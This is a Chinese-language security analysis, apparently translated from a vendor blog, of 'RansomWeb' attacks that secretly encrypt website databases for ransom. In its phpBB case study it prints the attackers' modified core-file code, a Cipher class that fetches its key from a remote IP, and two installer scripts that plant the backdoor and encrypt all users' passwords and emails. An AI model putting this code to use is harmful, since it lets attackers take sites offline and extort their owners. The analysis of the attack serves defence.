RansomWeb:一種新興的web安全威脅
0x00 前言
目前越來越多的人成為勒索軟件的受害者,惡意軟件會加密你的計算機直到你愿意交保護費,最新的趨勢發現,網站已經成為犯罪分子的攻擊目標,犯罪軟件會加密你的數據庫直到你付錢。
0x01 守候
2014年12月我們的安全專家在一個理財網站上發現一個很有趣的案例:網站一直顯示無法連接數據庫,而網站管理員收到一封勒索郵件,“給錢,然后我們會給你數據庫解鎖”。
遇到這種類型攻擊的網站都是一些小型站點,但是公司的重點業務運營都是圍繞網站進行了,停了分分鐘幾萬,chinese一點地話來說,“互聯網公司”。
我們認真的進行了調查,發現一下幾點特點:
1 web應用程序在半年前被入侵,攻擊者修改了一些需要進行數據庫操作的腳本,在插入數據時對數據進行加密,在查詢數據時對數據進行解密。整個過程 用戶沒有感到任何異樣。
2 只對關鍵的數據庫表被進行加密,將對網站性能的影響降到了最低,并且加密了之前被存入的數據庫記錄。
3 加密密鑰被儲存在遠程服務器上,只能通過https訪問(一定可能性是為了防止被攔截)
4 在這6個月,黑客默默地守候著網站,當一些升級和運維行為時對服務器進行備份。
5 在xxx天后,黑客關閉遠程服務器,同時網站停止服務,and收到一封飽含著愛意的惡意郵件。
0x02 另一個案例
我們一開始相信這是一個針對部分公司進行的apt行為,屬于一個特殊的個別案例,不過后來發現我們錯了,上周我們又發現一個相似的例子,來自我們的另一個客戶。他收到了一個勒索郵件……在他的phpbb論壇失靈之后。對于客戶來說這個phpBB是一個非常重要的平臺,版本還是2014年11月25日發布的phpBB 3.1.2 最新版。
最早問題來之于當時沒有一個用戶可以登錄論壇,包括版主和管理員,用戶的認證功能已經失效,在我們的調查下發現,登錄時需要的密碼和郵箱驗證在插入數據庫的時候經過了一次加密。
我們發現下列文件遭到了修改。
1. factory.php
函數sql_fetchrow()遭到了修改,在進行sql查詢
- $result = $this->get_driver()->sql_fetchrow($query_id);
password 和 email字段會經過一次解密。
- if(isset($result['user_password'])){
- $result['user_password'] = $cipher->decrypt($result['user_password']);
- }
- if(isset($result['user_email'])){
- $result['user_email'] = $cipher->decrypt($result['user_email']);
- }
2. functions_user.php
函數 user_add 經過修改之后 添加數據時會被加密
- $sql_ary = array(
- 'username'=>$user_row['username'],
- 'username_clean' => $username_clean,
- 'user_password' => (isset($user_row['user_password']))?
- $cipher->encrypt($user_row['user_password']):$cipher->encrypt(''),
- 'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])),
- 'user_email_hash'=> phpbb_email_hash($user_row['user_email']),
- 'group_id' => $user_row['group_id'],
- 'user_type' => $user_row['user_type'],
- );
3. cp_activate.php
main 函數遭到修改
- $sql_ary = array(
- 'user_actkey' => '',
- 'user_password' => $cipher->encrypt($user_row['user_newpasswd']),
- 'user_newpasswd' => '',
- 'user_login_attempts' => 0,
- );
4. ucp_profile.php
main函數
- if (sizeof($sql_ary))
- {
- $sql_ary['user_email'] = $cipher->encrypt($sql_ary['user_email']);
- $sql_ary['user_password'] = $cipher->encrypt($sql_ary['user_password']);
- $sql = 'UPDATE ' . USERS_TABLE . '
- SET ' . $db->sql_build_array('UPDATE', $sql_ary) . '
- WHERE user_id = ' . $user->data['user_id'];
- $db->sql_query($sql);
5. config.php
- class Cipher {
- private $securekey, $iv;
- function __construct($textkey) {
- $this->securekey = hash('sha256',$textkey,TRUE);
- $this->iv = mcrypt_create_iv(32);
- }
- function encrypt($input) {
- return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
- $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
- }
- function decrypt($input) {
- return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
- $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
- }
- }
- $key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/
- sdfds90f8d9s0f8d0f89.txt');
- $cipher=new Cipher($key);
一個值得注意的是,我們發現黑客留下的兩個可以自動化安裝后門的腳本,可以對任意phpbb論壇植入后門程序,只需要幾下點擊,第一個修改 “config.php” 添加 cipher類在腳本中,其中可以看到 儲存在遠程服務器上的密鑰。
安裝文件
- <?php
- $file = '../config.php';
- $txt = "\n".'class Cipher {
- private $securekey, $iv;
- function __construct($textkey) {
- $this->securekey = hash(\'sha256\',$textkey,TRUE);
- $this->iv = mcrypt_create_iv(32);
- }
- function encrypt($input) {
- return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,
- $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv));
- }
- function decrypt($input) {
- return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256,
- $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv));
- }
- }
- $key=file_get_contents(\'https://103.13.120.108/sfdoif89d7sf8d979dfgf/
- sdfds90f8d9s0f8d0f89.txt\');
- $cipher=new Cipher($key);'."\n";
- if( FALSE !== file_put_contents($file, $txt, FILE_APPEND | LOCK_EX)){
- echo "DONE!";
- };
第二個安裝文件加密所有用戶的email和password,并替換上述文件。
- <?php
- define('IN_PHPBB', true);
- $phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : '../';
- $phpEx = substr(strrchr(__FILE__, '.'), 1);
- include($phpbb_root_path . 'common.' . $phpEx);
- include($phpbb_root_path . 'includes/functions_display.' . $phpEx);
- $sql = 'SELECT user_id, user_password, user_email FROM ' . USERS_TABLE;
- $result = $db->sql_query($sql);
- while ($row = $db->sql_fetchrow($result))
- {
- $sql2 = 'UPDATE ' . USERS_TABLE . '
- SET
- user_password = "'.$cipher->encrypt($row['user_password']).'",
- user_email = "'.$cipher->encrypt($row['user_email']).'"
- WHERE user_iduser_id = '.$row['user_id'];
- $result2 = $db->sql_query($sql2);
- }
- echo "SQL UPDATED!<br>";
- copy('factory.php', '../phpbb/db/driver/factory.php');
- copy('functions_user.php', '../includes/functions_user.php');
- copy('ucp_activate.php', '../includes/ucp/ucp_activate.php');
- copy('ucp_profile.php', '../includes/ucp/ucp_profile.php');
- echo "FILES UPDATED!”;
接著攻擊者等待兩個月,就從遠程服務器中取出密鑰。
0x03 結論
我們稱這種攻擊為RansomWeb , 我們做了一個簡要的分析:
RansomWeb的特點
1、與ddos不同,這種攻擊會對網站的可用性造成長時間的巨大影響。
2、不僅可以用于勒索,還可以用于其他很多用途。
3、不給錢想從攻擊中恢復很困難。
RansomWeb的弱點
1、做下文件監控就好了
2、在不對網站造成影響的情況下加密極其困難。
3、定期檢測更新
原文地址:https://www.htbridge.com/blog/ransomweb_emerging_website_threat.html